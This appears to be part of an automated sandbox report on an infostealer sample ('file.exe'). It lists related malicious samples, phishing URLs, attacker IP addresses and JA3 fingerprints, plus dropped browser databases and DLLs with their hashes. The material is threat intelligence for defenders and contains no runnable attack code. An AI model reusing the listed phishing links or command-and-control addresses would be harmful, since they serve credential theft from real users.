	http://url969.uniteddeleverycompany.com/ls/click?upn=u001.H7qy8CwvNpiem-2Bf7DeMFk7YJf68sOidxEWakApUPIOSZg2OY8dbdpgPNdKDwG5r9FFRxGTcDR4Y40gkedjWn5gmaEy2hdp5PhuemKZpyV0zDF4yZB1nSDE1glVUHkAxvk-2Bay1ScD58FIOgYpgYP6N0ScK3-2BfYjxiyiX8IVVnDpwETyB9eFyZIpVwHB3s73fG91OsUU5I5qElZ5zc-2F019KUvyyM6RxeXMegmcNjDutTA-2FnxufBtCMFX4wRkoDOM-2BzzsCiJIoY1mc9q42wLMHiq-2B4vv2-2FqoR1f2l-2BCmuACM5q-2FNbDZQstkQL5-2FH30fC7m19Rn-2BlXgwexRgjH0XwyNE8I2tRC8iv5uAUiLQk1AD6k0bLjsvdQWk9bfnh9YPL7n6nCIBdvs55pyxgyRAhb2C3g-3D-3DzLOu_oNIH2-2FxJ-2FTe1FaVJ1jWIKVy-2BRH8quBB-2F7-2FAZY1zuBa8sYO3A2kRlNC5SRLFjReRDbNAqQc8ija5eyvb3hMHW2LijdhuT99ojcYbvfeVDR6TjM8Iqq-2F4lpz7WKfkjLfs8kULSyk-2BJ2FHXElRwIq2EjJuur8G9AAw0HjpCQ3JV-2F1d4REvZ-2BdaWGeRZa46RgdqnKhZwT4HPC-2Fcr9dZBwLnURfD1x7OZfW9R3B1ZDWRdH1V-2F-2BR-2FWmM6h4NEHHRb9NNBhFNZPaY6piFBOFNOupA2OrFLOTElocKhsbRyDVGAbiBMte7-2BAjR-2BA2H-2F9CP2UREBvDHXsH-2BmlqvAryDrKjjAy8lTbA9nho9WLS1JKeGns5pAqmjv-2FPH8p3m8V8tFEPj2WLqfG6IzXwKcOMYvSrGYkMWMsBKmgc-2Bt-2BOg9a0jxMR-2BByynWcTgKhB44PNmoRQfd9lvEhtXtJnUleVDwJMZbPw60p1K6oxTexhzM9ScXx7kCprkCgMgcfi8rgis43afOn4xM8YRcMg9tIzu64CU7VuKJ-2BMFN5I78-2B8KPrNOjHK5o6ri9rwGpR8XbmEC-2BUi0PISrd7M-2BHCYWlP2o1TBL2OAmqufIzKPL-2F0NYk7NCFq-2BQEFmracNk-2BqqlMZ00PhqEs2JN98lsOxQ6MUbXZMcj-2FhqVBZVN97wkN60D56kJ-2FOQiaa7gW2IP4afUKBiy9Wl-2B0h0QTfxVEz3DZUlxRmNpooAbQL5Uk9Km4liDjAnP-2F9rKBZSc3OZEf33ZNLDn8jMDI2p9XCpZ-2BdDlLCTUAgCLNK0FE-2BJVvF9LYHxIrcC8tpkLszOdDeZHX2xcWm6Lc3y7tQCdb1uaEkAxyHmalygulTA8ODCE0Qj21BBKduU8fdD8C7u4Nqc-2BpJjM-2FhEfOBaq9vq0rNhSs4OVsJ7hESECV5WQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	150.171.27.10
	file.exe	Get hash	malicious	Credential Flusher	Browse	150.171.27.10
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10
	1733418140de6eff55fb568a29814debaf3ad46ee7119730b1019aa5b47c07d232cf03fefd427.dat-decoded.exe	Get hash	malicious	AsyncRAT	Browse	150.171.27.10
	https://ness.wiktripfitness.com/ghjki9l-8765t4/3/er4t5y6u7jyhtgrfefrgthyjuyhtgdsarfedwsqa	Get hash	malicious	Unknown	Browse	150.171.28.10
	izCOFC8OWh.exe	Get hash	malicious	Unknown	Browse	150.171.28.10

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AEROEXPRESS-ASRU	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11
	3fo6GN17jm.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	31.41.244.11
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.84.141
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.84.141
	MOV-3912968547-(Cstolfi)MMS028.mp4.html	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 13.107.246.63 2.18.84.141
	Platinum Hall County, Georgia Proposal (16.6 KB).docx	Get hash	malicious	KnowBe4	Browse	4.175.87.197 13.107.246.63 2.18.84.141
	https://app.droplet.io/form/K47rYN	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 2.18.84.141
	https://shorturl.at/yWYYs?US=1583v79i	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 2.18.84.141
	https://haqzt.trc20.kcgrocks.com/merchantServices	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 2.18.84.141
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.84.141
	https://m0g9861wc1.execute-api.us-east-1.amazonaws.com/uyt/#brian.smith@arnoldclark.com	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 2.18.84.141
	http://leatherbook.org	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 2.18.84.141
6271f898ce5be7dd52b0fc260d0662b3	Pago pendiente.vbs	Get hash	malicious	XenoRAT	Browse	150.171.27.10 2.18.40.150 20.199.58.43 2.16.158.169 20.223.35.26
	Outstanding_Payment.vbs_.vbs	Get hash	malicious	Unknown	Browse	150.171.27.10 2.18.40.150 20.199.58.43 2.16.158.169 20.223.35.26
	Platinum Hall County, Georgia Proposal (16.6 KB).docx	Get hash	malicious	KnowBe4	Browse	150.171.27.10 2.18.40.150 20.199.58.43 2.16.158.169 20.223.35.26
	http://url969.uniteddeleverycompany.com/ls/click?upn=u001.H7qy8CwvNpiem-2Bf7DeMFk7YJf68sOidxEWakApUPIOSZg2OY8dbdpgPNdKDwG5r9FFRxGTcDR4Y40gkedjWn5gmaEy2hdp5PhuemKZpyV0zDF4yZB1nSDE1glVUHkAxvk-2Bay1ScD58FIOgYpgYP6N0ScK3-2BfYjxiyiX8IVVnDpwETyB9eFyZIpVwHB3s73fG91OsUU5I5qElZ5zc-2F019KUvyyM6RxeXMegmcNjDutTA-2FnxufBtCMFX4wRkoDOM-2BzzsCiJIoY1mc9q42wLMHiq-2B4vv2-2FqoR1f2l-2BCmuACM5q-2FNbDZQstkQL5-2FH30fC7m19Rn-2BlXgwexRgjH0XwyNE8I2tRC8iv5uAUiLQk1AD6k0bLjsvdQWk9bfnh9YPL7n6nCIBdvs55pyxgyRAhb2C3g-3D-3DzLOu_oNIH2-2FxJ-2FTe1FaVJ1jWIKVy-2BRH8quBB-2F7-2FAZY1zuBa8sYO3A2kRlNC5SRLFjReRDbNAqQc8ija5eyvb3hMHW2LijdhuT99ojcYbvfeVDR6TjM8Iqq-2F4lpz7WKfkjLfs8kULSyk-2BJ2FHXElRwIq2EjJuur8G9AAw0HjpCQ3JV-2F1d4REvZ-2BdaWGeRZa46RgdqnKhZwT4HPC-2Fcr9dZBwLnURfD1x7OZfW9R3B1ZDWRdH1V-2F-2BR-2FWmM6h4NEHHRb9NNBhFNZPaY6piFBOFNOupA2OrFLOTElocKhsbRyDVGAbiBMte7-2BAjR-2BA2H-2F9CP2UREBvDHXsH-2BmlqvAryDrKjjAy8lTbA9nho9WLS1JKeGns5pAqmjv-2FPH8p3m8V8tFEPj2WLqfG6IzXwKcOMYvSrGYkMWMsBKmgc-2Bt-2BOg9a0jxMR-2BByynWcTgKhB44PNmoRQfd9lvEhtXtJnUleVDwJMZbPw60p1K6oxTexhzM9ScXx7kCprkCgMgcfi8rgis43afOn4xM8YRcMg9tIzu64CU7VuKJ-2BMFN5I78-2B8KPrNOjHK5o6ri9rwGpR8XbmEC-2BUi0PISrd7M-2BHCYWlP2o1TBL2OAmqufIzKPL-2F0NYk7NCFq-2BQEFmracNk-2BqqlMZ00PhqEs2JN98lsOxQ6MUbXZMcj-2FhqVBZVN97wkN60D56kJ-2FOQiaa7gW2IP4afUKBiy9Wl-2B0h0QTfxVEz3DZUlxRmNpooAbQL5Uk9Km4liDjAnP-2F9rKBZSc3OZEf33ZNLDn8jMDI2p9XCpZ-2BdDlLCTUAgCLNK0FE-2BJVvF9LYHxIrcC8tpkLszOdDeZHX2xcWm6Lc3y7tQCdb1uaEkAxyHmalygulTA8ODCE0Qj21BBKduU8fdD8C7u4Nqc-2BpJjM-2FhEfOBaq9vq0rNhSs4OVsJ7hESECV5WQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 2.18.40.150 20.199.58.43 2.16.158.169 20.223.35.26
	Outstanding_Payment.vbs	Get hash	malicious	Unknown	Browse	150.171.27.10 2.18.40.150 20.199.58.43 2.16.158.169 20.223.35.26
	https://ness.wiktripfitness.com/ghjki9l-8765t4/3/er4t5y6u7jyhtgrfefrgthyjuyhtgdsarfedwsqa	Get hash	malicious	Unknown	Browse	150.171.27.10 2.18.40.150 20.199.58.43 2.16.158.169 20.223.35.26
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	150.171.27.10 2.18.40.150 20.199.58.43 2.16.158.169 20.223.35.26
	https://cdn.tailwindcss.com	Get hash	malicious	Unknown	Browse	150.171.27.10 2.18.40.150 20.199.58.43 2.16.158.169 20.223.35.26
	Itelyum_Regeneration_S.P.A___Bank_of_America_KYC_Outreach.eml	Get hash	malicious	Unknown	Browse	150.171.27.10 2.18.40.150 20.199.58.43 2.16.158.169 20.223.35.26
	Structural_Design_Proposal.docx.doc	Get hash	malicious	Unknown	Browse	150.171.27.10 2.18.40.150 20.199.58.43 2.16.158.169 20.223.35.26
3b5074b1b5d032e5620f69f9f700ff0e	Shipping Documents 72908672134.exe	Get hash	malicious	AgentTesla	Browse	20.198.118.190
	https://app.droplet.io/form/K47rYN	Get hash	malicious	Unknown	Browse	20.198.118.190
	QUOTE_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	20.198.118.190
	QUOTE_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	20.198.118.190
	vUlh7stUHJ.exe	Get hash	malicious	XWorm	Browse	20.198.118.190
	lg1wwLsmCX.exe	Get hash	malicious	Unknown	Browse	20.198.118.190
	ljshdfglksdfNEW.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	20.198.118.190
	kjhsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	20.198.118.190
	kjshdf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	20.198.118.190
	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	20.198.118.190

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	cTjQ45fs0O.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	cTjQ45fs0O.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFIDGDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFIDGDAKFHIEHJKFHDHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGDBFIIECBGDGDGDHCAKKFBFIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIEHIIIJDAAAAAAKECBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FIJECAEHJJJKJKFIDGCBGIJJJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDAKJDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFBGDBFBKKJECBFHDGIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: cTjQ45fs0O.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: cTjQ45fs0O.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
